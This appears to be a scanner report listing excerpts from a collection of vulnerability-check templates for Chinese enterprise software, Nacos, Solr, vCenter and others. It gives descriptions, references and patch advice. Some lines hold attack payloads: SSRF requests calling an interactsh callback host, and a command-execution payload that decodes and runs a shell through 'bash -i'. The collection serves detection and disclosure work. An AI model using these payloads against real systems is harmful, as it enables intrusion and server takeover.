fingerprint: "金蝶 K3Cloud" publish_time: "2024-01-08" bug_solve: "目前厂商已发布升级补丁以修复漏洞,补丁获取链接:https://vip.kingdee.com/knowledge/specialDetail/352491453127123200?category=352491970117034240&id=388994085535220992&productLineId=1 - Network accessline 13
publish_time: "2024-01-08" bug_solve: "目前厂商已发布升级补丁以修复漏洞,补丁获取链接:https://vip.kingdee.com/knowledge/specialDetail/352491453127123200?category=352491970117034240&id=388994085535220992&productLineId=1 https://vip.kingdee.com/article/3905 - Network accessline 14
bug_solve: "目前厂商已发布升级补丁以修复漏洞,补丁获取链接:https://vip.kingdee.com/knowledge/specialDetail/352491453127123200?category=352491970117034240&id=388994085535220992&productLineId=1 - Network accessline 15
https://vip.kingdee.com/article/390545756555520256?productLineId=1&isKnowledge=2" - Network accessline 16
bug_web: "https://vip.kingdee.com"
pocs/public/Kingdee_EAS_readfile.yaml
- Network accessline 7
description: 金蝶EAS是金蝶软件公司推出的一套企业级应用软件套件,旨在帮助企业实现全面的管理和业务流程优化。金蝶EAS存在任意文件读取漏洞,攻击者可通过构造恶意载荷读取系统任意文件。 reference: - https://mp.weixin.qq.com/s/Xwv-_5XT2ohKJIujyQUtuw - Network accessline 8
reference: - https://mp.weixin.qq.com/s/Xwv-_5XT2ohKJIujyQUtuw metadata: - Network accessline 9
- https://mp.weixin.qq.com/s/Xwv-_5XT2ohKJIujyQUtuw - Network accessline 13
publish_time: "2024-01-16" dangers_type: "文件读取" bug_solve: "关注厂商官网及时更新补丁:https://www.kingdee.com/" - Network accessline 14
dangers_type: "文件读取" bug_solve: "关注厂商官网及时更新补丁:https://www.kingdee.com/" bug_web: "https://www.kingdee.com/" - Network accessline 15
bug_solve: "关注厂商官网及时更新补丁:https://www.kingdee.com/" - Network accessline 16
bug_web: "https://www.kingdee.com/"
pocs/public/MSService-init_do-SQL.yaml
- Network accessline 8
MSService服务的init.do接口存在SQL注入漏洞,这一漏洞可能导致敏感数据泄露,数据库完整性受损,甚至使攻击者获得对数据库的完全控制。 reference: - "https://github.com/wy876/POC/blob/main/MSService服务init.do接口处存在SQL注入漏洞.md" - Network accessline 9
reference: - "https://github.com/wy876/POC/blob/main/MSService服务init.do接口处存在SQL注入漏洞.md" metadata: - Network accessline 10
- "https://github.com/wy876/POC/blob/main/MSService服务init.do接口处存在SQL注入漏洞.md"
pocs/public/NC-cloud-RCE-jsinvoke.yaml
- Network accessline 6
severity: critical description: | 用友 NC Cloud jsinvoke 接口存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件至服务器中,获取系统权限 - Network accessline 7
description: | 用友 NC Cloud jsinvoke 接口存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件至服务器中,获取系统权限 reference: CNVD-C-2023-76801 - Network accessline 8
用友 NC Cloud jsinvoke 接口存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件至服务器中,获取系统权限
pocs/public/Nacos_Access_control_error(CVE-2021-29442).yaml
- Network accessline 8
Nacos has an access control error in ConfigOpsController that allows users to perform administrative operations, such as querying and clearing the database, without proper authentication. reference: - https://github.com/alibaba/nacos/ - Network accessline 9
reference: - https://github.com/alibaba/nacos/issues/4463 - https://nvd.nist.gov/vuln/detail/CVE-2021-29442 - Network accessline 10
- https://github.com/alibaba/nacos/issues/4463 - Network accessline 11
- https://nvd.nist.gov/vuln/detail/CVE-2021-29442
pocs/public/Nacos_weak-pass_CNVD-2021-24491.yaml
- Network accessline 6
description: Alibaba Nacos has a default weak password (nacos:nacos) that allows unauthorized access to the configuration management backend. reference: - https://nacos.io/ - Network accessline 7
reference: - https://nacos.io/ - https://github.com/alibaba/nacos - Network accessline 8
- https://nacos.io/ - Network accessline 9
- https://github.com/alibaba/nacos
pocs/public/OfficeWeb365_Pic_Indexs_fileread.yaml
- Network accessline 7
description: OfficeWeb365 /Pic/Indexs接口处存在任意文件读取漏洞,攻击者可通过独特的加密方式对payload进行加密,读取任意文件,获取服务器敏感信息,使系统处于极不安全的状态。 reference: - https://github.com/ - Network accessline 8
reference: - https://github.com/ metadata: - Network accessline 9
- https://github.com/ - Network accessline 13
publish_time: "2024-01-04" dangers_type: "文件读取" bug_solve: "请关注厂商官网更新补丁:https://officeweb365.net/" - Network accessline 14
dangers_type: "文件读取" bug_solve: "请关注厂商官网更新补丁:https://officeweb365.net/" bug_web: "https://officeweb365.net/" - Network accessline 15
bug_solve: "请关注厂商官网更新补丁:https://officeweb365.net/" - Network accessline 16
bug_web: "https://officeweb365.net/"
pocs/public/OfficeWeb365_ssrf_upload.yaml
- Network accessline 7
description: 西安大西信息科技有限公司是一家软件及信息技术服务公司,其OfficeWeb365产品是一套在线办公平台。在该产品中,存在一个文件上传漏洞,该漏洞源于furl参数存在SSRF漏洞。furl参数实现了远程下载和解析zip文件功能,攻击者可以利用此构造SSRF请求,上传包含恶意文件的zip,导致系统getshell。 reference: - https://github.com/ - Network accessline 8
reference: - https://github.com/ metadata: - Network accessline 9
- https://github.com/ - Network accessline 13
publish_time: "2023-08-21" dangers_type: "文件上传" bug_solve: "请关注厂商官网更新补丁:https://officeweb365.net/" - Network accessline 14
dangers_type: "文件上传" bug_solve: "请关注厂商官网更新补丁:https://officeweb365.net/" bug_web: "https://officeweb365.net/" - Network accessline 15
bug_solve: "请关注厂商官网更新补丁:https://officeweb365.net/" - Network accessline 16
bug_web: "https://officeweb365.net/" - Network accessline 22
- raw: - |+ GET /?furl=http://{{randstr_1}} HTTP/1.1 - Network accessline 23
- |+ GET /?furl=http://{{randstr_1}} HTTP/1.1 Host: {{Hostname}} - Network accessline 24
GET /?furl=http://{{randstr_1}} HTTP/1.1
pocs/public/PHP_CGI_Windows_rce.yaml
- Network accessline 12
dangers_type: "命令执行" bug_solve: "1、官方已发布安全更新,建议升级至最新版本。2、若无法更新至新版本,且若PHP运行于Window平台上,建议关闭php-cgi的使用。" bug_web: "https://www.php.net/" - Network accessline 13
bug_solve: "1、官方已发布安全更新,建议升级至最新版本。2、若无法更新至新版本,且若PHP运行于Window平台上,建议关闭php-cgi的使用。" bug_web: "https://www.php.net/" CNNVD_number: "" - Network accessline 14
bug_web: "https://www.php.net/"
pocs/public/PH_OfficeService_SSRF.yaml
- Network accessline 7
description: 普华PowerPMS系统OfficeService.aspx存在SSRF漏洞,未经身份验证的攻击者可能利用该漏洞访问系统资源或敏感信息,导致数据泄露或系统安全性降低。 reference: - https://mrxn.net/jswz/powerpms-FormXml-DocFile-OfficeService-SSRF.html - Network accessline 8
reference: - https://mrxn.net/jswz/powerpms-FormXml-DocFile-OfficeService-SSRF.html classification: - Network accessline 9
- https://mrxn.net/jswz/powerpms-FormXml-DocFile-OfficeService-SSRF.html - Network accessline 26
action=download&WEBURL=http://{{interactsh-url}}
pocs/public/PH_Powerpms_Transfer_info.yaml
- Network accessline 7
description: 普华PowerPMS是上海普华科技发展股份有限公司旗下一款项目管理信息平台。其PowerPMS系统Transfer.aspx接口存在信息泄露漏洞,攻击者可在无需认证的情况下,通过直接访问该文件,获取系统中存储的数据库配置信息,可能导致数据库数据泄露,进而引发未授权访问和系统控制风险。 reference: - "https://mrxn.net/jswz/powerpms-Transfer-LoadDataSource-data-leak - Network accessline 8
reference: - "https://mrxn.net/jswz/powerpms-Transfer-LoadDataSource-data-leak.html" metadata: - Network accessline 9
- "https://mrxn.net/jswz/powerpms-Transfer-LoadDataSource-data-leak.html" - Network accessline 12
fingerprint: "PowerPMS" publish_time: "2025-10-12" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.powerpms.com/;2、关闭互联网访问权限或限制页面访问权限。" - Network accessline 13
publish_time: "2025-10-12" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.powerpms.com/;2、关闭互联网访问权限或限制页面访问权限。" bug_web: "https://www.powerpms.com/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.powerpms.com/;2、关闭互联网访问权限或限制页面访问权限。" - Network accessline 15
bug_web: "https://www.powerpms.com/"
pocs/public/RJ_EWEB_timeout_fileupload.yaml
- Network accessline 12
publish_time: "2025-03-07" dangers_type: "文件上传" bug_solve: "1、联系厂商打补丁或升级版本:https://www.ruijie.com.cn;2、对该上传接口进行身份验证,只允许经过身份验证的用户访问该接口;3、严格验证和过滤上传文件的类型与内容,限制文件大小,并将上传文件存放在非执行目录下。" - Network accessline 13
dangers_type: "文件上传" bug_solve: "1、联系厂商打补丁或升级版本:https://www.ruijie.com.cn;2、对该上传接口进行身份验证,只允许经过身份验证的用户访问该接口;3、严格验证和过滤上传文件的类型与内容,限制文件大小,并将上传文件存放在非执行目录下。" bug_web: "https://www.ruijie.com.cn/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本:https://www.ruijie.com.cn;2、对该上传接口进行身份验证,只允许经过身份验证的用户访问该接口;3、严格验证和过滤上传文件的类型与内容,限制文件大小,并将上传文件存放在非执行目录下。" - Network accessline 15
bug_web: "https://www.ruijie.com.cn/"
pocs/public/RJ_eweb_ipam_fileRead.yaml
- Network accessline 12
publish_time: "2025-04-22" dangers_type: "任意文件读取" bug_solve: "1、关注厂商官网:https://www.ruijie.com.cn/ 获取补丁或更新版本;2、关闭互联网访问权限或限制页面访问权限;3、执行命令函数前进行严格的检测和过滤。" - Network accessline 13
dangers_type: "任意文件读取" bug_solve: "1、关注厂商官网:https://www.ruijie.com.cn/ 获取补丁或更新版本;2、关闭互联网访问权限或限制页面访问权限;3、执行命令函数前进行严格的检测和过滤。" bug_web: "https://www.ruijie.com.cn/" - Network accessline 14
bug_solve: "1、关注厂商官网:https://www.ruijie.com.cn/ 获取补丁或更新版本;2、关闭互联网访问权限或限制页面访问权限;3、执行命令函数前进行严格的检测和过滤。" - Network accessline 15
bug_web: "https://www.ruijie.com.cn/"
pocs/public/Ruijie_Eweb_CNVD-2021-09650_RCE.yaml
- Network accessline 10
获取服务器控制权限。 reference: - "https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/iot/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7%20NBR%20%E8%B7%AF%E7%94%B1%E5%99%A8%20guestIsUp.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1 - Network accessline 11
reference: - "https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/iot/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7%20NBR%20%E8%B7%AF%E7%94%B1%E5%99%A8%20guestIsUp.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F% - Network accessline 12
- "https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/iot/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7%20NBR%20%E8%B7%AF%E7%94%B1%E5%99%A8%20guestIsUp.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CNVD
pocs/public/SH-SMGSuperAdmin-info.yaml
- Network accessline 8
三汇SMG网关管理软件 SMGSuperAdmin 配置文件存在信息泄露漏洞,未经身份认证的攻击者可获取用户名密码等敏感信息,使系统处于极不安全状态。 reference: - https://github.com/wy876/POC/blob/main/%E4%B8%89%E6%B1%87%E7%BD%91%E5%85%B3%E7%AE%A1%E7%90%86%E8%BD%AF%E4%BB%B6/%E4%B8%89%E6%B1%87SMG%E7%BD%91%E5 - Network accessline 9
reference: - https://github.com/wy876/POC/blob/main/%E4%B8%89%E6%B1%87%E7%BD%91%E5%85%B3%E7%AE%A1%E7%90%86%E8%BD%AF%E4%BB%B6/%E4%B8%89%E6%B1%87SMG%E7%BD%91%E5%85%B3%E7%AE%A1%E7%90%86%E8%BD%AF%E4%BB%B6SMGSuperAdmin%E4%BF%A1%E6%81%AF%E6%B - Network accessline 10
- https://github.com/wy876/POC/blob/main/%E4%B8%89%E6%B1%87%E7%BD%91%E5%85%B3%E7%AE%A1%E7%90%86%E8%BD%AF%E4%BB%B6/%E4%B8%89%E6%B1%87SMG%E7%BD%91%E5%85%B3%E7%AE%A1%E7%90%86%E8%BD%AF%E4%BB%B6SMGSuperAdmin%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E - Network accessline 15
dangers_type: "信息泄漏" bug_solve: "1、联系厂商打补丁或升级版本;2、删除敏感信息,禁用该敏感接口。" bug_web: "https://www.synway.cn/" - Network accessline 16
bug_solve: "1、联系厂商打补丁或升级版本;2、删除敏感信息,禁用该敏感接口。" bug_web: "https://www.synway.cn/" CNNVD_number: "" - Network accessline 17
bug_web: "https://www.synway.cn/"
pocs/public/SLJF_SYS_down-load_fileRead.yaml
- Network accessline 12
publish_time: "2025-04-05" dangers_type: "任意文件读取" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.srun.com/;2、关闭互联网暴露面或接口设置访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" - Network accessline 13
dangers_type: "任意文件读取" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.srun.com/;2、关闭互联网暴露面或接口设置访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" bug_web: "https://www.srun.com/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.srun.com/;2、关闭互联网暴露面或接口设置访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" - Network accessline 15
bug_web: "https://www.srun.com/"
pocs/public/SPON-IP-addmediadata-uploadfile.yaml
- Network accessline 8
盛邦通信的SPON IP对讲广播系统采用先进的IPAudio技术,通过局域网和广域网以数据包的形式传输音频信号。该系统实现了全数字化的传输。盛邦通信的SPON IP对讲广播系统存在一个漏洞,允许任意文件上传。攻击者可以利用这个漏洞上传任意文件,并获取服务器权限。 reference: - https://github.com/wy876/POC/blob/main/%E4%B8%96%E9%82%A6%E9%80%9A%E4%BF%A1SPON-IP%E7%BD% - Network accessline 9
reference: - https://github.com/wy876/POC/blob/main/%E4%B8%96%E9%82%A6%E9%80%9A%E4%BF%A1SPON-IP%E7%BD%91%E7%BB%9C%E5%AF%B9%E8%AE%B2%E5%B9%BF%E6%92%AD%E7%B3%BB%E7%BB%9Faddmediadata.php%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A - Network accessline 10
- https://github.com/wy876/POC/blob/main/%E4%B8%96%E9%82%A6%E9%80%9A%E4%BF%A1SPON-IP%E7%BD%91%E7%BB%9C%E5%AF%B9%E8%AE%B2%E5%B9%BF%E6%92%AD%E7%B3%BB%E7%BB%9Faddmediadata.php%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B - Network accessline 14
publish_time: "2024-08-07" dangers_type: "文件上传" bug_solve: "联系厂商打补丁或升级版本:https://www.spon.com.cn" - Network accessline 15
dangers_type: "文件上传" bug_solve: "联系厂商打补丁或升级版本:https://www.spon.com.cn" bug_web: "https://www.spon.com.cn/" - Network accessline 16
bug_solve: "联系厂商打补丁或升级版本:https://www.spon.com.cn" - Network accessline 17
bug_web: "https://www.spon.com.cn/"
pocs/public/SPON_Intercom_addscenedata_Fileupload.yaml
- Network accessline 8
世邦通信SPON-IP网络对讲广播系统/php/addscenedata.php接口存在任意文件上传漏洞,攻击者可通过该漏洞上传任意文件到服务器上,包括木马后门文件,导致服务器权限被控制。 reference: - "https://github.com/wy876/POC/blob/main/世邦通信SPON-IP网络对讲广播系统addscenedata.php任意文件上传漏洞.md" - Network accessline 9
reference: - "https://github.com/wy876/POC/blob/main/世邦通信SPON-IP网络对讲广播系统addscenedata.php任意文件上传漏洞.md" metadata: - Network accessline 10
- "https://github.com/wy876/POC/blob/main/世邦通信SPON-IP网络对讲广播系统addscenedata.php任意文件上传漏洞.md" - Network accessline 14
publish_time: "2024-06-14" dangers_type: "文件上传" bug_solve: "关注厂商官网:https://www.spon.com.cn/ 获取补丁或更新版本。" - Network accessline 15
dangers_type: "文件上传" bug_solve: "关注厂商官网:https://www.spon.com.cn/ 获取补丁或更新版本。" bug_web: "https://www.spon.com.cn/" - Network accessline 16
bug_solve: "关注厂商官网:https://www.spon.com.cn/ 获取补丁或更新版本。" - Network accessline 17
bug_web: "https://www.spon.com.cn/"
pocs/public/SPON_Intercom_my_parser_Fileupload.yaml
- Network accessline 8
世邦通信 SPON IP网络对讲广播系统 my_parser.php 存在任意文件上传漏洞,攻击者可以通过漏洞上传任意文件甚至木马文件,从而获取服务器权限。 reference: - "https://github.com/wy876/POC/blob/main/世邦通信SPON-IP网络对讲广播系统my_parser.php任意文件上传漏洞.md" - Network accessline 9
reference: - "https://github.com/wy876/POC/blob/main/世邦通信SPON-IP网络对讲广播系统my_parser.php任意文件上传漏洞.md" metadata: - Network accessline 10
- "https://github.com/wy876/POC/blob/main/世邦通信SPON-IP网络对讲广播系统my_parser.php任意文件上传漏洞.md" - Network accessline 14
publish_time: "2024-06-18" dangers_type: "文件上传" bug_solve: "关注厂商官网:https://www.spon.com.cn/ 获取补丁或更新版本。" - Network accessline 15
dangers_type: "文件上传" bug_solve: "关注厂商官网:https://www.spon.com.cn/ 获取补丁或更新版本。" bug_web: "https://www.spon.com.cn/" - Network accessline 16
bug_solve: "关注厂商官网:https://www.spon.com.cn/ 获取补丁或更新版本。" - Network accessline 17
bug_web: "https://www.spon.com.cn/"
pocs/public/SPON_rj_get_token_fileRead.yaml
- Network accessline 7
description: SPON IP 网络对讲广播系统 /php/rj_get_token.php 接口存在任意文件读取漏洞,攻击者可以通过该漏洞获取敏感信息。 reference: - "https://vip.bdziyi.com/61129/" - Network accessline 8
reference: - "https://vip.bdziyi.com/61129/" metadata: - Network accessline 9
- "https://vip.bdziyi.com/61129/" - Network accessline 12
fingerprint: "SPON-IP" publish_time: "2026-01-07" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.spon.com.cn/;2、关闭互联网访问权限或限制页面访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" - Network accessline 13
publish_time: "2026-01-07" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.spon.com.cn/;2、关闭互联网访问权限或限制页面访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" bug_web: "https://www.spon.com.cn/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.spon.com.cn/;2、关闭互联网访问权限或限制页面访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" - Network accessline 15
bug_web: "https://www.spon.com.cn/"
pocs/public/SXF_netConfig_set_port_RCE.yaml
- Network accessline 7
description: 深信服运维安全管理系统的/fort/system;login/netConfig/set_port接口存在远程代码执行漏洞,未经身份验证的攻击者可以通过该漏洞远程执行任意代码,从而控制目标服务器。 reference: - "https://vip.bdziyi.com/58371/" - Network accessline 8
reference: - "https://vip.bdziyi.com/58371/" metadata: - Network accessline 9
- "https://vip.bdziyi.com/58371/" - Network accessline 12
fingerprint: "深信服运维安全管理系统" publish_time: "2025-07-23" bug_solve: "目前官方已发布漏洞修复版本,建议用户升级到安全版本:https://www.sangfor.com.cn/" - Network accessline 13
publish_time: "2025-07-23" bug_solve: "目前官方已发布漏洞修复版本,建议用户升级到安全版本:https://www.sangfor.com.cn/" bug_web: "https://www.sangfor.com.cn/" - Network accessline 14
bug_solve: "目前官方已发布漏洞修复版本,建议用户升级到安全版本:https://www.sangfor.com.cn/" - Network accessline 15
bug_web: "https://www.sangfor.com.cn/" - Dangerous shell operationline 24
payload: "{{ url_encode('bash -c $(echo {{shell}}| base64 -d | bash -i) exit;') }}"
pocs/public/Shenlan-proxy-FileRead.yaml
- Network accessline 8
深澜计费管理系统 /demo/proxy接口处存在任意文件读取漏洞,恶意攻击者可能利用该漏洞读取服务器上的敏感文件,例如客户记录、财务数据或源代码,导致数据泄露。 reference: - https://github.com/wy876/POC/blob/main/%E6%B7%B1%E6%BE%9C%E8%AE%A1%E8%B4%B9%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9Fproxy%E5%AD%98%E5%9C%A8%E4%B - Network accessline 9
reference: - https://github.com/wy876/POC/blob/main/%E6%B7%B1%E6%BE%9C%E8%AE%A1%E8%B4%B9%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9Fproxy%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md metadata: - Network accessline 10
- https://github.com/wy876/POC/blob/main/%E6%B7%B1%E6%BE%9C%E8%AE%A1%E8%B4%B9%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9Fproxy%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md - Network accessline 14
publish_time: "2024-04-10" dangers_type: "任意文件读取" bug_solve: "请关注厂商及时更新补丁:https://www.srun.com/" - Network accessline 15
dangers_type: "任意文件读取" bug_solve: "请关注厂商及时更新补丁:https://www.srun.com/" bug_web: "https://www.srun.com/" - Network accessline 16
bug_solve: "请关注厂商及时更新补丁:https://www.srun.com/" - Network accessline 17
bug_web: "https://www.srun.com/"
pocs/public/Solr_Unauth.yaml
- Network accessline 8
The verification checks for ng-app="solrAdminApp" in the admin page and solr_home in the system API. reference: - https://solr.apache.org/guide/solr/latest/deployment-guide/security-overview.html - Network accessline 9
reference: - https://solr.apache.org/guide/solr/latest/deployment-guide/security-overview.html classification: - Network accessline 10
- https://solr.apache.org/guide/solr/latest/deployment-guide/security-overview.html
pocs/public/Sponip_Network_System_infoleak.yaml
- Network accessline 8
Hikvision Intercom Broadcasting System是中国海康威视(Hikvision)公司的一个对讲广播系统。Hikvision Intercom Broadcasting System 3.0.3_20201113_RELEASE(HIK)版本存在信息泄露漏洞,该漏洞源于文件access/html/system.html会导致信息泄露。 reference: - https://www.cnnvd.org.cn/home/loophol - Network accessline 9
reference: - https://www.cnnvd.org.cn/home/loophole metadata: - Network accessline 10
- https://www.cnnvd.org.cn/home/loophole - Network accessline 14
publish_time: "2023-12-17" dangers_type: "信息泄露" bug_solve: "请关注厂商官网更新补丁:https://www.spon.com.cn/" - Network accessline 15
dangers_type: "信息泄露" bug_solve: "请关注厂商官网更新补丁:https://www.spon.com.cn/" bug_web: "https://www.spon.com.cn/" - Network accessline 16
bug_solve: "请关注厂商官网更新补丁:https://www.spon.com.cn/" - Network accessline 17
bug_web: "https://www.spon.com.cn/"
pocs/public/Stirling_PDF_CVE-2025-55150_SSRF.yaml
- Network accessline 7
description: Stirling PDF接口存在服务器请求伪造漏洞,攻击者可利用该漏洞在未经身份验证的情况下访问受限资源,获取内部服务器信息。 reference: - https://github.com/Stirling-Tools/Stirling-PDF/commit/7d6b70871bad2a3ff810825f7382c49f55293943 - Network accessline 8
reference: - https://github.com/Stirling-Tools/Stirling-PDF/commit/7d6b70871bad2a3ff810825f7382c49f55293943 classification: - Network accessline 9
- https://github.com/Stirling-Tools/Stirling-PDF/commit/7d6b70871bad2a3ff810825f7382c49f55293943 - Network accessline 32
<marquee behavior='alternate' direction='right'><img src='http://{{interactsh-url}}'></marquee>
pocs/public/Synway-SMG-Gateway-ArbitraryFileRead.yaml
- Network accessline 8
Synway SMG Gateway Management Software has an arbitrary file read vulnerability. Attackers can exploit this to read sensitive files such as /etc/passwd or Windows system files. reference: - https://wiki.peiqi.tech/wiki/webapp/三汇/三汇SMG - Network accessline 9
reference: - https://wiki.peiqi.tech/wiki/webapp/三汇/三汇SMG%20网关管理软件%20down.php%20任意文件读取漏洞.html classification: - Network accessline 10
- https://wiki.peiqi.tech/wiki/webapp/三汇/三汇SMG%20网关管理软件%20down.php%20任意文件读取漏洞.html
pocs/public/TNTC-GetPasswayData-SQL.yaml
- Network accessline 8
停车场后台管理系统 GetPasswayData 存在SQL注入漏洞,攻击者可以通过此漏洞获取数据库权限,造成敏感信息泄露。 reference: - https://github.com/wy876/POC/blob/main/%E6%99%BA%E8%83%BD%E5%81%9C%E8%BD%A6%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/%E6%99%BA%E8%83%BD%E5%81%9C%E8%BD%A6%E7%AE%A1% - Network accessline 9
reference: - https://github.com/wy876/POC/blob/main/%E6%99%BA%E8%83%BD%E5%81%9C%E8%BD%A6%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/%E6%99%BA%E8%83%BD%E5%81%9C%E8%BD%A6%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FGetPasswayData%E5%AD%98%E5%9C%A8SQL%E6% - Network accessline 10
- https://github.com/wy876/POC/blob/main/%E6%99%BA%E8%83%BD%E5%81%9C%E8%BD%A6%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/%E6%99%BA%E8%83%BD%E5%81%9C%E8%BD%A6%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FGetPasswayData%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%
pocs/public/TNTC-GetVideo-sqli.yaml
- Network accessline 8
停车场后台管理系统 GetVideo 存在SQL注入漏洞,攻击者可以通过此漏洞获取数据库权限,造成敏感信息泄露。 reference: - https://github.com/wudijun/Catcher/blob/448e2f9e3a6eff1fa8fe9645b6868e3f9ee58a86/poc/%E5%81%9C%E8%BD%A6%E5%9C%BA%E5%90%8E%E5%8F%B0%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB% - Network accessline 9
reference: - https://github.com/wudijun/Catcher/blob/448e2f9e3a6eff1fa8fe9645b6868e3f9ee58a86/poc/%E5%81%9C%E8%BD%A6%E5%9C%BA%E5%90%8E%E5%8F%B0%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/%E5%81%9C%E8%BD%A6%E5%9C%BA%E5%90%8E%E5%8F%B0%E7%AE%A1%E - Network accessline 10
- https://github.com/wudijun/Catcher/blob/448e2f9e3a6eff1fa8fe9645b6868e3f9ee58a86/poc/%E5%81%9C%E8%BD%A6%E5%9C%BA%E5%90%8E%E5%8F%B0%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/%E5%81%9C%E8%BD%A6%E5%9C%BA%E5%90%8E%E5%8F%B0%E7%AE%A1%E7%90%86%E7%B3%B
pocs/public/TPLUS_AccountClearControler_SQL.yaml
- Network accessline 7
description: 畅捷通TPLUS AccountClearControler 存在SQL注入漏洞, 攻击者可以根据该漏洞获取数据库权限,查看大量敏感信息。 reference: - "https://vip.bdziyi.com/58142/" - Network accessline 8
reference: - "https://vip.bdziyi.com/58142/" metadata: - Network accessline 9
- "https://vip.bdziyi.com/58142/" - Network accessline 12
fingerprint: "用友畅捷通" publish_time: "2025-07-07" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.chanjet.com;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 13
publish_time: "2025-07-07" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.chanjet.com;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "https://www.chanjet.com/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.chanjet.com;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 15
bug_web: "https://www.chanjet.com/"
pocs/public/UniNXG_poserver_fileread.yaml
- Network accessline 11
publish_time: "2024-01-30" dangers_type: "文件读取" bug_solve: "请关注厂商官网更新补丁:https://www.leagsoft.com/" - Network accessline 12
dangers_type: "文件读取" bug_solve: "请关注厂商官网更新补丁:https://www.leagsoft.com/" bug_web: "https://www.leagsoft.com/" - Network accessline 13
bug_solve: "请关注厂商官网更新补丁:https://www.leagsoft.com/" - Network accessline 14
bug_web: "https://www.leagsoft.com/"
pocs/public/VMware_vCenter_Server_CVE-2021-21985_RCE.yaml
- Network accessline 8
VMware vCenter Server contains a remote code execution vulnerability in the Virtual SAN Health Check plugin (vSAN Health Check). An unauthenticated attacker with network access to port 443 can exploit this vulnerability to execute arbitrary - Network accessline 9
reference: - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202105-1686 - https://www.vmware.com/security/advisories/VMSA-2021-0010.html - Network accessline 10
- http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202105-1686 - Network accessline 11
- https://www.vmware.com/security/advisories/VMSA-2021-0010.html
pocs/public/Vben-Admin_YBM.yaml
- Network accessline 8
Vue Vben Admin是一个免费开源的中端和直播模板。采用最新的vue3、vite、TypeScript等主流技术开发,开箱即用的中码头解决方案也提供学习参考。Vue Vben存在硬编码漏洞,攻击者可通过该漏洞获取用户名和密码。 reference: - https://github.com/wy876/POC/blob/main/Vben-Admin/Vben-Admin%E5%AD%98%E5%9C%A8%E7%A1%AC%E7%BC%96%E7%A0% - Network accessline 9
reference: - https://github.com/wy876/POC/blob/main/Vben-Admin/Vben-Admin%E5%AD%98%E5%9C%A8%E7%A1%AC%E7%BC%96%E7%A0%81%E6%BC%8F%E6%B4%9E.md#vben-admin%E5%AD%98%E5%9C%A8%E7%A1%AC%E7%BC%96%E7%A0%81%E6%BC%8F%E6%B4%9E metadata: - Network accessline 10
